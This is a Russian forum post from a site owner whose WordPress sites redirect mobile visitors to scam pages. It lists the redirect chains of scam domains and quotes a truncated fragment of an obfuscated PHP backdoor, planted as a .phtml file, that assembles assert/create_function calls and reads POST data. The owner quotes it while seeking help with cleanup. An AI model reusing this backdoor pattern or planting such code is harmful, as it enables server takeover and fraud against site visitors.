arturweb

exclus:
Пришло "письмо счастья" от Яндекса, что мой сайт угрожает пользователям, пошел проверил в Яндекс Вебмастере и обнаружил фатальную ошибку:
Сайт использует методы, обманывающие пользователей мобильного интернета — например, подменяет проиндексированное поисковым роботом содержимое и/или перенаправляет посетителей на страницы с подпиской на платные контент-услуги.

Написал в поддержку и мне объяснили, что с мобильной версии сайта иногда происходит редирект на мошеннические сайты и мне необходимо устранить это и в течение 2-3 месяцев если все нормально снимут ограничения.

Очень долго вбивая в поиск запросы, которые ведут на мой сайт мне удалось поймать редирект:

w3-org.cc --- bestprizes-box.life --- givemelove17.live --- mobile-app-market-here1.life --- adaranth.com --- extraordinaryprizes.com

Так же бывает заходишь и в другой раз уже другой редирект:

bestdealfor1.life ---- e.bestdealfor1.life --- f.bestdealfor1.life  --- g.bestdealfor1.life ----h.bestdealfor1.life ---- secure.umredirect.com ---- tropd.com

Бывает еще и другие цепочки сайтов.
Так же удалось поймать подобное еще на 4 своих сайтах(возможно это не предел).

Воспользовался встроенным антивирусом AI-Bolit на своем хостинге и обнаружил на многих сайтах следующее:

/wp-includes/js/tinymce/langs/77711746.phtml

с таким вредоносным кодом:

cution_time',0);ini_set('display_errors',0);error_reporting(0);set_time_limit(0);$cret='unction';$cret='create_f'.$cret; $jQuery='sert';$jQuery='as'.$jQuery;$Libr="_ostp";$sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3]);if(iss

Удалил везде этот файл, так же в папке были и еще какие-то непонятные файлы(которых нет на тех сайтах, где данный скрипт не был обнаружен) их я тоже удалил.

Решив, что проблему я устранил с редиректом, написал Яндексу и получил стандартную отписку, что если все хорошо, то в течение 2-3 месяцев метку снимут...

Сейчас обнаружил, что редирект никуда не исчез. Кто может подсказать в чем причина? Я так понимаю, причина не в этом вредоносном коде, который я обнаружил? Или в нем, но я не до конца что-то удалил?